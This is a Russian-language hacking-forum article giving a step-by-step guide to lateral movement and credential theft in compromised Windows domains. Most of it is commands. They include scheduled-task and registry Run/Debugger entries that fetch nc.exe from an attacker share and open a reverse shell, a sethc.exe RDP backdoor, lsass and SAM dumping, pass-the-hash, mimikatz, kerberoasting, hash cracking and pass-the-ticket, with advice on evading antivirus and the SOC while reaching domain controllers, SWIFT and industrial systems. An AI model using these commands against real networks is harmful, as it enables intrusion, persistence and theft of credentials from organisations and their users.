• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Гид по Lateral. Изучаем удаленное исполнение кода в Windows со всех сторон

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
Проникновение в атакуемую сеть — только первый этап взлома. На втором этапе необходимо в ней закрепиться, получить учетные записи пользователей и обеспечить возможность запуска произвольного кода. В сегодняшней статье мы поговорим о методах, позволяющих добиться этой цели, а также о том, как выполняется боковое перемещение в скомпрометированной сети.

Читай также: «Кунг‑фу pivoting. Выжимаем максимум из постэксплуатации».

После того как ты проник за внешний периметр и попал во внутреннюю сеть компании, необходимо расширить в ней собственное присутствие, если хочешь найти там что‑то интересное. Как ни странно, чем больше размер внутренней сети компании, тем проще ее взломать. И напротив, если компания совсем небольшая, сеть взломать порою крайне сложно. Почему так? Чем больше сеть, тем больше в ней может встретиться уязвимых или небезопасно настроенных компонентов. При этом часто компрометация одного узла влечет за собой компрометацию сразу множества смежных с ним узлов.

Во внутренних сетях обычно преобладают серверы и рабочие станции под управлением Windows. В то же время эта ОС наиболее интересна с точки зрения способов компрометации, так как по умолчанию имеет множество интерфейсов для удаленного выполнения кода. Кроме того, атакующему доступно большое количество способов извлечения учетных данных. Я не буду касаться бокового перемещения по серверам Linux: они редко включены в домен и не имеют такого разнообразия дефолтных интерфейсов для удаленного администрирования. При боковом перемещении Linux интересен главным образом как удобная точка опоры.

Боковое перемещение подразумевает легитимное удаленное исполнение кода. То есть все представленные в статье способы подразумевают наличие действующей учетной записи для того или иного ПК. При этом почти всегда будет требоваться административная учетная запись.

Основная задача при боковом перемещении — привлекать как можно меньше внимания пользователей и службы безопасности, а также постараться не вызвать тревогу у средств антивирусной защиты. Наиболее эффективно использовать штатные средства операционной системы, то есть абсолютно легитимные и неотличимые от действий обычных администраторов сети.

Мы не будем обсуждать основные уязвимости Windows, атаки в локальных сетях и способы поднять привилегии в среде Active Directory. Вместо этого поговорим исключительно о легальных вещах: в каких потаенных уголках Windows можно найти учетные записи и что с ними потом делать. Все представленные дальше способы не считаются уязвимостями, а представляют собой трюки by design, следовательно, при грамотном исполнении это полностью легальные процедуры.

Все примеры основаны на реальных ситуациях, с которыми можно столкнуться при перемещении по самым настоящим внутренним сетям. Поэтому, как обычно, коснемся проблемы максимально тихого перемещения с возможностью байпаса антивирусов, а также сделаем акцент на то, какие сетевые порты нам для этого потребуются.

СТРАТЕГИЯ БОКОВОГО ПЕРЕМЕЩЕНИЯ​

Итак, боковое перемещение — это одновременное сочетание двух техник:
  • аутентифицированного удаленного выполнения кода;
  • извлечения секретной информации после получения доступа.
Цикличное, последовательное повторение этих шагов порою позволяет от одного‑единственного взломанного ПК дойти до полной компрометации всей сетевой инфраструктуры. Обычно боковое перемещение, как всякое иное перемещение, преследует одну из следующих целей:
  • перехват управления контроллерами домена;
  • достижение изолированных критических сетевых сегментов (например, АСУ ТП, SWIFT);
  • поиск критической информации на ПК (секретные документы, платежные реквизиты и так далее).
Однако для достижения любой из перечисленных целей требуются все новые учетные данные, чтобы у атакующего была возможность перемещаться по сети и получать доступ ко все большему количеству ПК. Продвижение по внутренней сети редко обходится без взятия контроллера домена, поскольку взятие домена означает автоматическое получение доступа практически к каждому узлу сети. Что касается admins hunting, при достижении контроллера домена может показаться, что поиск привилегированных учетных записей — это слепое угадывание. Но в действительности инфраструктура Active Directory и сама Windows раскрывают достаточно информации простому доменному пользователю, зачастую позволяя рассчитать нужное направление продвижения и спланировать точную многоступенчатую цепочку взломов еще в самом начале бокового перемещения.

После взятия контроллеров домена иногда бывает необходимо двигаться дальше — в некий особо охраняемый сегмент, представляющий собой объекты «бизнес‑риска». Это может быть сегмент АСУ ТП, вмешательство в технологический процесс, доступ в сегмент SWIFT, если мы имеем дело с банками, либо же просто доступ на ПК генерального директора. В каждом случае мы можем столкнуться с разными сложностями бокового перемещения, о которых пойдет речь дальше.

УДАЛЕННОЕ ВЫПОЛНЕНИЕ КОДА В WINDOWS​

Рассмотрим несколько способов удаленного исполнения кода в Windows с помощью учетной записи. Некоторые средства предоставляют удобный интерактивный режим, а некоторые — только слепой запуск команд без получения результата. Начнем обзор с самых удобных и широко распространенных инструментов и постепенно перейдем к менее популярным, но все же способным исполнить код.

Часть инструментов загружает на target исполняемый файл службы, пытаясь обеспечить нам удобный интерактивный режим. Но тут кроется опасность: такие сервисы зачастую будут заблокированы антивирусом. Плюс к этому IP атакующего может быть заблокирован, что затормозит перемещение. И SOC узнает о том, что в сеть кто‑то проник.

Большую часть бокового перемещения мы будем выполнять с помощью замечательного Python-пакета impacket. Для его установки требуется выполнить команду pip install impacket. После установки необходимые исполняемые файлы будут находиться в папке impacket/examples, расположение которой подскажет команда pip show -f impacket.

MSRPC​

Это реализация DCERPC от Microsoft. По сути, расширяет открытый DCERPC при помощи доступа через именованные пайпы с использованием протокола SMB. Главным образом использует 445-й TCP-порт. Перечислить доступные пайпы по словарю на SMB поможет модуль auxiliary/scanner/smb/pipe_auditor.

psexec.exe​

  • Происхождение: sysinternals
  • AV-риск: отсутствует
  • Используемые порты: 135, 445, 4915x/TCP
Начиная говорить об удаленном исполнении кода в Windows, нельзя не упомянуть небезызвестный psexec от Марка Руссиновича. Данная программа пользуется одинаковой популярностью и у администраторов, и у пентестеров. Принцип ее работы заключается в копировании исполняемого файла через сетевой ресурс «ADMIN$» (445/TCP) с последующим удаленным созданием и запуском службы для этого исполняемого файла через DCERPC (135,4915x/TCP). После запуска службы происходит обычное сетевое взаимодействие с удаленной командной строкой:
Код:
psexec.exe -u admin \\target cmd
Главный плюс для нас в том, что серверный компонент psexecsvc.exe подписан сертификатом Sysinternals (который принадлежит Microsoft) и, следовательно, стопроцентно легитимная программа. Также к явным достоинствам классического psexec.exe относится способность выполнять код в указанных пользовательских сеансах:
Код:
psexec.exe -u admin -i 2 \\target shutdown /l

psexec.py​

  • Происхождение: Python-пакет impacket
  • AV-риск: есть
  • Используемые порты: 445/TCP
Отличная альтернатива для пользователей Linux. Однако этот инструмент почти наверняка поднимет антивирусную тревогу. Как было сказано, все дело в службе, которая копируется на удаленный хост. Это можно исправить, указав в реализации метода createService() в /usr/local/lib/python3.7/dist-packages/impacket/examples/serviceinstall.py произвольную команду, которая будет выполнена вместо запускаемой службы удаленного администрирования.

С помощью произвольной команды можно скрыть запуск службы удаленного администрирования

С помощью произвольной команды можно скрыть запуск службы удаленного администрирования

Чтобы psexec.py не скопировал палевный компонент, указываем принудительно, какой файл использовать в качестве службы. И, поскольку мы уже вручную прописали команду, этим файлом может быть что угодно:
Код:
psexec.py -file somefile.txt admin@target
Таким образом, мы напрямую выполнили команду mkdir c:\pwn, что, конечно же, не вызовет реакции со стороны антивирусов. Однако подобная модификация psexec лишает нас того удобства использования, которое было изначально.

winexe​

  • Происхождение: пакет winexe
  • AV-риск: есть
  • Используемые порты: 445/TCP
Более старый нативный аналог psexec под Linux. Как и psexec, открывает удаленную интерактивную командную строку:
Код:
winexe -U admin //target cmd
В целом он полностью идентичен другим подобным инструментам, однако реже обнаруживается антивирусами. Но все же нельзя сказать, что winexe на сто процентов безопасен. Тем не менее его можно использовать для подстраховки на случай, если psexec.py вдруг не сработает.

smbexec.py​

  • Происхождение: Python-пакет impacket / встроенный компонент Windows
  • AV-риск: есть
  • Используемые порты: 445/TCP
Упрощенный вариант psexec, также создающий службу, только используется при этом исключительно MSRPC, а доступ к управлению службами устроен через SMB-пайп svcctl:
Код:
smbexec.py -mode SHARE admin@target
В результате будет открыт доступ к интерактивной командной строке.

services.py​

  • Происхождение: Python-пакет impacket
  • AV-риск: отсутствует
  • Используемые порты: 445/TCP
Еще более упрощенный вариант psexec. Тут предполагается, что мы сами ручками делаем то, что делает за нас psexec. С помощью services.py мы можем посмотреть список служб:
Код:
services.py admin@target list
Создать новую службу, указав произвольную команду:
Код:
services.py admin@target create -name 1 -display 1 -path 'cmd arg1 arg2'
Запустить только что созданную службу:
Код:
services.py admin@target start -name 1
Замести следы и удалить ее:
Код:
services.py admin@target delete -name 1
Все это дает нам еще один способ слепого неинтерактивного исполнения команд, то есть без результата. Зато это на сто процентов безопасный способ, и он не раз выручал меня, когда антивирусы на удаленном хосте убивали весь левый софт.

atexec.py/at.exe​

  • Происхождение: Python-пакет impacket / встроенный компонент Windows
  • AV-риск: отсутствует
  • Используемые порты: 445/TCP
Служба планировщика заданий Windows, доступная через smb-пайп atsvc. Позволяет удаленно поместить в планировщик задачу, которая выполнится в указанный момент. В обоих случаях это неинтерактивное средство удаленного исполнения кода. При использовании at.exe происходит слепое исполнение команд:
Код:
at.exe \\target 13:37 "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"
А вот для atexec.py команда выполнится с результатом:
Код:
atexec.py admin@target ipconfig
Вся разница в том, что результат выполнения команды будет направлен в файл и прочитан через сетевой ресурс ADMIN$. Для своей работы инструмент требует, чтобы часы у attacker и target были настроены на одно время с точностью до минуты.

reg.exe​

  • Происхождение: компонент Windows
  • AV-риск: отсутствует
  • Используемые порты: 445/TCP
Удаленный доступ к реестру с правами на запись на самом деле нам дает RCE. Для своей работы инструмент требует SMB-пайп winreg. По умолчанию служба удаленного реестра запущена только на серверных ОС Windows 2003–2019. А вот известный трюк с автозагрузкой (отложенное RCE):
Код:
reg.exe add \\target\HKLM\software\microsoft\windows\currentversion\run /v testprog /t REG_SZ /d "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"
Здесь используется обработчик запуска программы. Если программа запускается на ПК часто, то получим почти мгновенное RCE:
Код:
reg.exe add "\\target\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\chrome.exe" /v Debugger /t reg_sz /d "cmd /c copy \\attacker\a\nc.exe && nc -e \windows\system32\cmd.exe attacker 8888"
Мой любимый трюк с бэкдором в RDP:
Код:
reg.exe add "\\target\HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t reg_sz /d "\windows\system32\cmd.exe"

DCERPC​

Использует порты 135/TCP и 4915x/TCP, где 4915x — динамически назначаемые порты. Иногда могут использоваться порты из другого диапазона.

Очень часто сетевые администраторы и безопасники, которые в курсе наиболее распространенных векторов атак, в качестве mitigation просто блокируют порт 445/TCP. Тем самым они делают непригодным использование psexec и многих других способов, описанных выше. Однако, как было сказано ранее, Windows имеет множество способов удаленного исполнения кода, и DCERPC предоставляет нам такую альтернативную возможность, в некоторых случаях открывая доступ к тем же RPC-интерфейсам. По сути, мы будем использовать не сам DCERPC, а то, что работает по его технологии, например WMI.

wmiexec.py​

  • Происхождение: Python-пакет impacket
  • AV-риск: есть
  • Используемые порты: 135, (445), 4915x/TCP
Скрипт wmiexec.py дает возможность выполнить код в интерактивном режиме:
Код:
wmiexec.py admin@target
Однако было замечено, что хоть wmiexec.py и не запускает на удаленной стороне никаких сторонних исполняемых файлов, антивирусы его иногда ловят. Кроме того, wmiexec.py полезет за результатом на шару ADMIN$, чем задействует порт 445/TCP. Более безопасным вариантом будет слепое RCE:
Код:
wmiexec.py -nooutput admin@target "mkdir c:\pwn"

dcomexec.py​

  • Происхождение: Python-пакет impacket
  • AV-риск: отсутствует
  • Используемые порты: 135, (445), 4915x/TCP
Инструмент, похожий на wmiexec.py. По умолчанию он интерактивный, а за результатом тоже идет на сетевой диск ADMIN$, используя порт 445/TCP:
Код:
dcomexec.py admin@target
Чтобы обойти использование порта 445/TCP, можно ограничиться слепым исполнением кода:
Код:
dcomexec.py -nooutput admin@10.0.0.64 "mkdir c:\123"

wmis​

  • Происхождение: пакеты wmi-client, wmis
  • AV-риск: есть
  • Используемые порты: 135, 4915x/TCP
Существует небольшая путаница c утилитой wmis: она присутствует сразу в двух пакетах с одинаковым именем. Для ее вызова используется следующая команда:
Код:
wmis -U admin //target "mkdir c:\pwn"
Принципиальной разницы между ними я не заметил, за исключением того, что одна может не сработать.

wmic.exe​

  • Происхождение: компонент Windows
  • AV-риск: отсутствует
  • Используемые порты: 135, 4915x/TCP
Достаточно прикольный способ слепого исполнения кода «из коробки» для всех ОС Windows:
Код:
wmic.exe /user:username /password:s3cr3t /node:target process call create '"c:\1.bat"'
Единственная команда Windows, которая неинтерактивно принимает логин и пароль через опции, что позволяет вызывать ее откуда угодно. Данная команда потом нам сильно поможет получить админскую учетную запись.

sc.exe​

  • Происхождение: компонент Windows
  • AV-риск: отсутствует
  • Используемые порты: 135, 4915x/TCP
Назначение инструмента — удаленное управление службами и драйверами. Аналогично утилите services.py мы можем запустить произвольную команду при создании службы:
Код:
sc.exe \\target create testservice binPath= \path\to\prog start= auto
sc.exe \\target start testservice
При этом в отличие от services.py мы используем для этого совсем другие порты, так как здесь задействован DCERPC.

WinRM​

Под этим названием скрывается новое средство удаленного администрирования Windows Remote Management, появившееся в Windows 7/2008. Использует для своей работы в качестве транспорта протокол HTTP. Но по умолчанию WinRM работает только на серверных Windows Server 2012–2019, на клиентских же Windows 7–10 требуется включить его вручную. Тем не менее, когда главная цель — это работающий на Windows Server контроллер домена, данный способ довольно полезен.

Evil-WinRM​

  • Происхождение: Ruby-пакет evil-winrm
  • AV-риск: отсутствует
  • Используемые порты: 5985/TCP (5986/TCP)
Предоставляет интерактивный шелл:
Код:
evil-winrm -u admin -i target

WinRS.exe/PowerShell​

  • Происхождение: компонент Windows
  • AV-риск: отсутствует
  • Используемые порты: 5985/TCP (5986/TCP)
С помощью этого встроенного компонента ОС Windows можно интерактивно получить удаленный доступ:
Код:
c:> winrs.exe -u admin -r:target cmd
Еще с использованием PowerShell можно выполнять команды и командлеты:
Код:
PS:> Enter-PSSession -ComputerName target -Credential admin
PS:>Invoke-Command -ScriptBlock {ipconfig;get-process} -ComputerName (Get-Content targets.txt)

RDP​

  • Происхождение: пакеты freerdp2-x11, rdesktop, компонент Windows mstsc.exe и другие
  • AV-риск: отсутствует
  • Используемые порты: 3389/TCP
Не самый удобный способ исполнения кода, не самый перспективный в плане Pass-the-Hash/Pass-the-Ticket, но работающий почти из коробки почти на всех Windows:
Код:
xfreerdp /u:admin /v:target
rdesktop -u admin target
mstsc.exe /v:target

GP​

Групповые политики могут помочь в исполнении кода на хорошо защищенных ПК, полностью закрытых файрволом либо расположенных в изолированных сетях. Их используют в ситуации, когда контроллер домена уже взят, но надо двигаться дальше.

Тут на помощь приходят обычные групповые политики. Их преимущество перед всеми описанными ранее методами состоит в том, что они работают как бы по схеме reverse-connect. Если до этого мы сами инициировали подключение и нам требовались открытые порты на target (135, 445, 3389, 5985, 4915x), то все, что понадобится тут, — это доступ к самому DC. Как правило, DC не прячется за файрволами, поэтому с его администрированием не должно возникнуть проблем.

С помощью оснастки gpmc.msc создаем групповую политику для нужного контейнера. В каком контейнере находится target, поможет определить оснастка dsa.msc. После создания политики на событие logon вешается скрипт на VBS с произвольным содержимым. Для срабатывания RCE нужно ждать, когда пользователь целевой машины повторно войдет в систему.

Часто такие критические компоненты внутренней инфраструктуры, как контроллер домена, охраняются SIEM. Изменение в его конфигурации, в том числе создание нового объекта групповой политики, может отслеживаться и очень негативно восприниматься безопасниками. Поэтому вместо создания новой групповой политики лучше найти существующую и внедрить нужный код в скрипт, расположенный в шаре SYSVOL.

В таблице ниже приведены основные особенности разных методов аутентифицированного исполнения кода в дефолтном исполнении (без модификаций).

table2.png

Каждый сам выбирает для себя любимый инструмент. Но нужно иметь в виду, что иногда инструмент может не сработать. И тогда надо иметь подстраховку, уметь выполнить код еще несколькими способами. Эта таблица поможет тебе сориентироваться.

Видно, что наиболее «бесшумным» способом исполнения кода остаются компоненты Windows (winrs.exe, sc.exe, reg.exe, at.exe, wmic.exe, psexec.exe), но не все из них могут похвастаться удобством. Утилиты sc.exe, reg.exe, at.exe не поддерживают передачу имени пользователя через опции, поэтому для их использования надо запустить cmd от нужного пользователя, а в случае с локальной учеткой — предварительно создать ее.

Только что мы рассмотрели разные способы аутентифицированного исполнения кода, то есть legal RCE с учетной записью. Теперь поговорим о том, где эти самые учетные записи можно найти, какие они бывают и в каком виде представлены.

Локальные учетные записи​

При аутентификации юзеров Windows не различает регистр имени пользователя: ADMIN для нее то же, что и admin. Это справедливо и для локальных, и для доменных учетных записей.

Главная идея использования локальных учетных записей состоит в том, что один и тот же пароль может встретиться на целом ряде ПК и серверов. Порою бывает, что такие локальные учетки приводят прямо на ПК админов или сразу на контроллер домена.

Локальные пользователи вместе с NTLM-хешами хранятся в реестре по пути HKLM\sam. Сам по себе SAM (Security Account Manager) — это отдельный куст реестра, который лежит в \windows\system32\config наряду с другими кустами. Примечательно, что даже администратор (за исключением system) не может получить доступ к HKLM\sam с помощью regedit.exe или напрямую скопировав файл из системной директории. Однако команда reg.exe позволяет сделать это. Очень важно, что мы будем извлекать системные файлы с помощью встроенных компонентов ОС, а анализировать их уже на нашей системе. Тем самым мы абсолютно точно не вызовем антивирусной тревоги.

Для извлечения локальных учетных записей понадобится два куста реестра:
Код:
reg.exe save hklm\sam sam
reg.exe save hklm\system system
На своей стороне для извлечения хешей локальных учеток используем следующую команду:
Код:
creddump7\pwdump.py system sam
Также можно воспользоваться уже известным набором impacket:
Код:
secretsdump.py -system system -sam sam LOCAL
Полностью автоматизированный подход с помощью доступа через remote registry выглядит так:
Код:
secretsdump.py admin@target
В результате получаем хеши в формате Username:RID:LM-hash:NTLM-hash:::. В новых системах (начиная с Windows 7/2008R2) LM-хеш может быть пустым, то есть иметь значение aad3b435b51404eeaad3b435b51404ee, так как LM-хеши больше не используются по соображениям безопасности. Пустой пароль NTLM-хеша, в свою очередь, — это 31d6cfe0d16ae931b73c59d7e0c089c0. Во время бокового перемещения, когда хешей очень много, такие хеши надо обнаруживать сразу и отбрасывать, так как ограничение пустого пароля не позволит выполнить удаленный вход.

Pass-the-Hash​

Windows имеет хорошо известную и достаточно забавную особенность, позволяющую использовать для аутентификации NTLM-хеш без необходимости выполнять его брутфорс и восстанавливать пароль. Все извлеченные NTLM-хеши (отличные от 31d6cfe0d16ae931b73c59d7e0c089c0) могут использоваться для аутентификации на следующих типах сервисов:
  • MSRPC (SMB);
  • DCERPC (WMI);
  • WINRM;
  • MS SQL;
  • RDP (только Windows 2012 R2 и Windows 8.1);
  • LDAP;
  • IMAP;
  • HTTP.
Но выполнять код мы можем, как правило, только на первых пяти сервисах из списка, для последних трех более применимы атаки NTLM-relay. Все рассмотренные инструменты из набора impacket поддерживают передачу хеша как LM:NTLM, так и с указанием только NTLM-хеша:
Код:
psexec.py -hashes LM:NTLM admin@target
wmiexec.py -hashes :NTLM admin@target
В дистрибутиве Kali есть девять специально собранных популярных инструментов для реализации техники Pass-the-Hash. Все они начинаются на pth-:
Код:
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
pth-winexe -U admin% //target cmd
pth-wmic -U admin% //target "select Name from Win32_UserAccount"
pth-wmis -U admin% //target "cmd.exe /c whoami > c:\out.txt"
pth-smbclient -U admin% //target/c$
pth-rpcclient -U admin% //target
pth-sqsh -U admin -S target
pth-curl http://target/exec?cmd=ipconfig
pth-net rpc group ADDMEM 'Administrators' username -S target -U domain/user
Начиная с версии xfreerdp v2.0.0 и только для Windows 2012 R2 и Windows 8.1 можно пройти аутентификацию с использованием NTLM-хеша по RDP:
Код:
./client/X11/xfreerdp /v:target /u:admin /pth:31d6cfe0d16ae931b73c59d7e0c089c0
Современный WinRM, к счастью, тоже не подкачал:
Код:
evil-winrm -i target -u admin -H 31d6cfe0d16ae931b73c59d7e0c089c0
Все примеры выше — это Pass-the-Hash для Linux. Мы упоминали инструменты Windows для удаленного исполнения кода: psexec.exe, at.exe, reg.exe, wmic.exe, sc.exe, winrs.exe. Чтобы использовать их в атаках Pass-the-Hash, нужно создать временную сессию с помощью mimikatz:
Код:
mimikatz# sekurlsa::pth /user:administrator /domain:. /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0
Затем в появившемся окне cmd нужный NTLM-хеш будет автоматически подставлен для любой вызываемой программы:
Код:
dir \\target\c$
Кстати, посчитать NTLM-хеш для парольной фразы можно и самостоятельно:
Код:
#!/usr/bin/python2
import hashlib,binascii,sys
if len(sys.argv) == 1:
        print binascii.hexlify(hashlib.new('md4', raw_input().decode('utf-8').encode('utf-16le')).digest())
else:
        print binascii.hexlify(hashlib.new('md4', sys.argv[1].encode('utf-16le')).digest())

Bruteforce​

Если требуется аутентификация на сервисе, который не поддерживает Pass-the-Hash, например RDP, может быть применена атака подбором пароля на достаточно высоких скоростях. LM-хеши имеют конечный набор входных значений, шифруются половинками по 7 байт и нечувствительны к регистру. Это значит, что абсолютно любой LM-хеш может быть взломан. С NTLM-хешем ситуация немного сложнее.

LM​

Для LM-хешей надежнее всего использовать rainbows (радужные таблицы) ophcrack:
Код:
ophcrack -g -d /opt/rainbows/LM -t xp_special,0,1,2,3 -f hashes-lm.txt
Либо классический брутфорс по словарю:
Код:
john --format=lm --wordlist=/usr/share/wordlists/rockyou.txt hashes-lm.txt
Раньше, кстати, существовал замечательный китайский ресурс, который любой LM-хеш мог превратить в plaintext.

NTLM​

Hashcat и John по‑разному ожидают подачу NTLM-хешей. Так, для Hashcat команда выглядит следующим образом:
Код:
31d6cfe0d16ae931b73c59d7e0c089c0
hashcat -a 0 -m 1000 hashes_ntlm.txt /usr/share/wordlists/rockyou.txt
hashcat -a 3 -m 1000 hashes_ntlm.txt -1='?u?d?l' '?1?1?1?1?1?1'
Для John:
Код:
admin:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt hashes_ntlm.txt
И LM-, и NTLM-хеши могут быть также найдены и для доменных пользователей при анализе памяти lsass.exe или в базе ntds.dit. Они никогда не передаются по сети как есть, вместо этого они транслируются в виде NetNTLM/NetNTLMv2-хешей, которые непригодны для Pass-the-Hash. Данные типы хешей одноразовые и могут быть использованы только в момент передачи (техника NTLM-relay) либо для брутфорс‑атак на достаточно больших скоростях.

БИЛЕТЫ KERBEROS​

Для использования Kerberos-билетов при аутентификации требуется доступ к порту 88/TCP контроллера домена.

Kerberoasting​

Техника kerberoasting чрезвычайно полезна, так как часто с ее помощью можно скомпрометировать учетки администраторов домена и прочие интересные сервисные учетные записи. Для своего применения она требует любую доменную учетную запись.

Суть ее заключается в том, что для некоторых сервисных учетных записей с контроллера домена можно выгрузить TGS-билет Kerberos для доступа к той или иной службе. Эти билеты зашифрованы паролем (NTLM-хешем) соответствующего пользователя. А это значит, что такие билеты могут быть подвержены офлайн‑атаке подбором пароля по словарю. Поэтому крайне важно любой ценой достать эти билеты.

Всех пользователей, у которых можно выгрузить TGS-билет, можно найти поисковым LDAP-фильтром:
Код:
(&(samAccountType=805306368)(servicePrincipalName=*))
Классический kerberoasting можно выполнить многими способами. Например, с помощью impacket, действуя из Linux:
Код:
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain.com/username
Если атакующий использует Windows, то же самое можно сделать, например, с помощью rubeus.exe:
Код:
Rubeus.exe kerberoast /outfile:hashes.txt
Rubeus редко палится антивирусами. Но если мы рассуждаем о постэксплуатации, то нужно быть готовым к самым разным сложностям. Точкой проникновения во внутреннюю сеть может стать машина под управлением Windows, из‑за чего придется использовать ее небогатый арсенал.

Существует способ выполнить kerberoasting базовыми средствами ОС с помощью PowerShell:
Код:
PS> setspn -T domain.com -Q */*
PS> Add-Type -AssemblyName System.IdentityModel
PS> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.domain.com"
PS> klist
Однако в этом случае билеты получит Windows, а не мы. Они будут сохранены в памяти. К сожалению, базовыми средствами ОС невозможно сдампить полученные Kerberos-билеты в форму, пригодную для брутфорса.

Извлечение Kerberos-билетов через дамп виртуальной памяти​

Если антивирус не дает запустить упомянутые инструменты, мы можем сделать дамп памяти процесса lsass.exe. Есть как минимум три способа:
  • taskmgr.exe → ПКМ по lsass.exe → дамп памяти;
  • rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\temp\lsass.dmp full;
  • procdump.exe -ma lsass.exe /accepteula.
Если дамп удалось создать, то билеты можно безопасно извлечь уже на своей стороне:
Код:
mimikatz.exe
sekurlsa::Minidump lsass.dmp
sekurlsa::tickets /export
Однако иногда антивирус не давал мне подобраться к lsass.exe, что, в принципе, и понятно.

Извлечение Kerberos-билетов через дамп физической памяти​

Если к процессу никак не подобраться, на помощь придет дамп всей физической памяти. Сделать это можно инструментом из открытого фреймворка по форензике rekall:
Код:
winpmem.exe --mode MmMapIoSpace --format raw --output ram.dmp.zip
Полученный дамп будет внушительного размера — несколько гигабайтов. Для извлечения из него билетов потребуется отладчик WinDbg и плагин для него mimilib.dll:
Код:
windbg:> .symfix
windbg:> .reload
windbg:> !process 0 0 lsass.exe
windbg:> .process /p /r EPROCESS
windbg:> .load c:\path\to\mimikatz\mimilib.dll
windbg:> !mimikatz

Извлечение Kerberos-билетов из сетевого трафика​

Достаточно элегантным решением может быть перехват билетов из сетевого трафика в момент их выгрузки:
Код:
TCPdump.exe -i 1 -nn -w out.pcap
./[extracttgsrepfrompcap.py](https://github.com/nidem/kerberoast/blob/master/extracttgsrepfrompcap.py) -f out.pcap -w out.txt

Bruteforce TGS​

Применять брутфорс‑атаку имеет смысл только против TGS Kerberos-билетов (билетов для доступа к службам), так как они зашифрованы паролем пользователя:
Код:
john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt hashes-tgs.txt
hashcat3 -a 0 -m 13100 hashes-tgs.txt /usr/share/wordlists/rockyou.txt
Брутфорс будет происходить на достаточно высокой скорости — более 1 миллиона в секунду ($krb5tgs$23 RC4).

Pass-the-Ticket​

Если у нас имеется Kerberos-билет TGT (билет пользователя), то мы можем применить его для аутентификации. При этом Linux и Windows используют разные форматы — ccache и kirbi соответственно. В свою очередь, билеты могут быть изначально представлены в любом из этих форматов, в зависимости от того, из какой ОС мы их взяли. Но и воспользоваться ими нужно уметь для любой ОС.

Под Windows для импорта билета в формате kirbi используется следующий подход:
Код:
mimikatz# kerberos::ptt c:\path\to\tgt.kirbi
Для импорта в формате ccache:
Код:
mimikatz# kerberos::ptс c:\path\to\tgt.ccache
После импорта используем любую нужную нам программу без указания каких‑либо ключей:
Код:
dir \\dc.company.org\c$
Под Linux делаем Pass-the-Ticket в формате ccache:
Код:
cp tgt.ccache /tmp/krb5cc_0
klist
Как упоминалось, Linux формат kirbi не понимает. Поэтому билет нужно сконвертировать в ccache c помощью kekeo.exe:
Код:
kekeo.exe "misc::convert ccache ticket.kirbi" "exit"
После импорта билеты в Linux используем следующим образом:
Код:
smbclient -k //dc.company.org/c$
winexe -k yes -N //dc.company.org cmd
Также инструменты из набора impacket могут использовать билеты без предварительного импорта:
Код:
KRB5CCNAME=`pwd`/tgt.ccache psexec.py -k -dc-ip 10.0.0.1 target.domain.com
KRB5CCNAME=`pwd`/tgt.ccache secretsdump.py -k -no-pass target.domain.com
KRB5CCNAME=`pwd`/tgt.ccache atexec.py -k -no-pass -dc-ip 10.0.0.1 target.domain.com
KRB5CCNAME=`pwd`/tgt.ccache services.py -k -no-pass -dc-ip 10.0.0.1 target.domain.com list
Чтобы использовать Kerberos-билет при аутентификации, нужно обращаться к target по имени, а не по IP-адресу.

ДОМЕННЫЕ УЧЕТНЫЕ ЗАПИСИ​

Доменные учетные записи в инфраструктуре компаний, использующих Active Directory, считаются наиболее приоритетной мишенью. Именно доменные учетные записи в итоге приводят нас на контроллер домена.

Кеш хешированных доменных учетных записей​

Кеш хешированных учетных записей, или Domain Credential Cache, — это куст реестра, куда записываются все успешные логоны в систему под доменными учетными записями на случай, если контроллер домена в будущем окажется недоступен. Содержимое этого кеша легко извлечь уже знакомым нам способом:
Код:
reg.exe save hklm\security security
reg.exe save hklm\system system
В нем хранятся хеши доменных учетных записей. Чтобы получить их, выполняем следующую команду:
Код:
creddump7\cachedump.py system security true
Для старых версий Windows creddump7 не всегда извлекает хеши, в таком случае может пригодиться старый же вариант creddump:
Код:
creddump\cachedump.py system security
Аналогично можно воспользоваться инструментом из impacket:
Код:
secretsdump.py -system system -security security LOCAL
Из того же кеша есть шанс получить сохраненные пароли для служб открытым текстом:
Код:
creddump7\lsadump.py system security
При боковом перемещении шанс встретить в кеше учетную запись администратора домена очень велик. Правда, тут есть одно но: поскольку это кеш, то нет гарантии, что пароль после кеширования не менялся.

Существует две версии этого хеша — dcc1 (mscash1) и dcc2 (mscash2). Данные хеш‑функции имеют абсолютно одинаковую длину, и незнание версии ОС может привести к очень долгому безуспешному подбору пароля. Так, если у нас Windows XP/2003, то используется dcc1:
Код:
john --format=mscash hashes_dcc.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 1100 hashes_dcc.txt /usr/share/wordlists/rockyou.txt
Если Windows Vista/2008–10/2019, то это dcc2:
Код:
john --format=mscash2 hashes_dcc2.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 2100 hashes_dcc2.txt /usr/share/wordlists/rockyou.txt
Стоит отметить, что старые Windows XP/2003 более перспективны для бокового перемещения, так как используемая ими хеш‑функция dcc1 в 3000 раз слабее и, следовательно, более подвержена атакам подбором пароля. Поэтому, если доменный администратор когда‑то выполнял вход на устаревшую ОС Windows, он, сам того не осознавая, заметно ослабил защиту всей инфраструктуры. Это еще один повод отказаться от старых версий Windows.

Учетные данные запущенных сессий​

Доменные учетные записи также находятся в памяти процесса lsass.exe. Это касается только активных в данный момент сессий. Список пользователей и их процессов удобно проверять встроенной командой qprocess *.

Инструменты mimikatz.exe или wce.exe умеют извлекать для активных сессий хеши и пароли открытым текстом:
Код:
mimikatz.exe privilege::debug sekurlsa::logonPasswords
